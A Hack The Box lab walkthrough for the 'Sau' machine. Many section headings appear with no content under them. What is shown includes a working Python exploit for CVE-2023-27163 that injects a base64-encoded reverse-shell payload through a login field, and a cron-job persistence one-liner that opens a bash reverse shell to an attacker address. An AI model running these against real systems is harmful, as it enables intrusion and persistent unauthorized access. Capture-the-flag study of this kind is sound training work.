Sau HTB Walkthrough

Dec 26, 2024    #box   #htb   #easy   #linux   #cve-202327163   #cve-2023-26604   #ssrf   #systemctl  

Sau Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

Comprehensive Scans:

SSH 22:

Web 80:

WhatWeb:

Service 55555:

WhatWeb:

Manually Visiting the page:

Discovering The Host Is Vulnerable To SSRF CVE-2023-27163:

2. Foothold:

Getting A Reverse Shell Using CVE-2023-27163 Exploit:

import sys; # import system to take CLI args.
import os; # import OS to directly interact wtih the operating system.
import base64; # import base64 for encoding payload.

# Declare Main Function/Logic
def main():
    # Declare variables
	listening_IP = None
	listening_PORT = None
	target_URL = None

    # Simple if statement that checks if all CLI args are provided, if not it errors our and prints a message.
	if len(sys.argv) != 4:
		print("Error. Needs listening IP, PORT and target URL.")
		return(-1)

    # Takes the CLI args from the user (appends "/login" to the target url)
	listening_IP = sys.argv[1]
	listening_PORT = sys.argv[2]
	target_URL = sys.argv[3] + "/login"

    # Prints a message stating that the exploit is running.
	print("Running exploit on " + str(target_URL))

    # Runs the curl_cmd function with the provided user variables.
	curl_cmd(listening_IP, listening_PORT, target_URL)

# Define the curl_cmd function, which takes 3 arguments. The users IP, the PORT & the target_url.
def curl_cmd(my_ip, my_port, target_url):

    # Define the payload.
    # This is a simple python reverse shell, which imports socket, os & pty.
    # It takes the user provided args listening_IP & listening_PORT and they are passed as my_ip, my_port as f-string args
	payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''

    # It encodes the payload in base64 format.
	encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64

    # It runs a curl command, and passes the data via the `username` parameter where it echoes out the payload, base64 decrypts it and then passes it for a subshell for execution.
	command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
	os.system(command)

if __name__ == "__main__":
  main()

3. Privilege Escalation:

Side-quest/rabbit hole:

+Note+: This was a little side quest that I have left in for transparency.

Discovering The Host Is Vulnerable To CVE-2023-26604:

Getting A Reverse Shell Using CVE-2023-26604:

4. Persistence:

Creating a high privileged “service” account for persistence:

Creating a cron job reverse shell:

(crontab -l > .tab ; echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.18/443 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1

Lessons Learned:

What did I learn?

  1. I actually learned about the systemctl CVE, I was not aware of that before.
  2. This box helped me cement more SSRF learning, I have been grinding some SSRF/Web boxes recently to get better at them.

What silly mistakes did I make?

  1. Nothing of note this time, which is nice.

Sign off:

Remember, folks as always: with great poIr comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at bloodstiller dot com


Next: Love HTB Walkthrough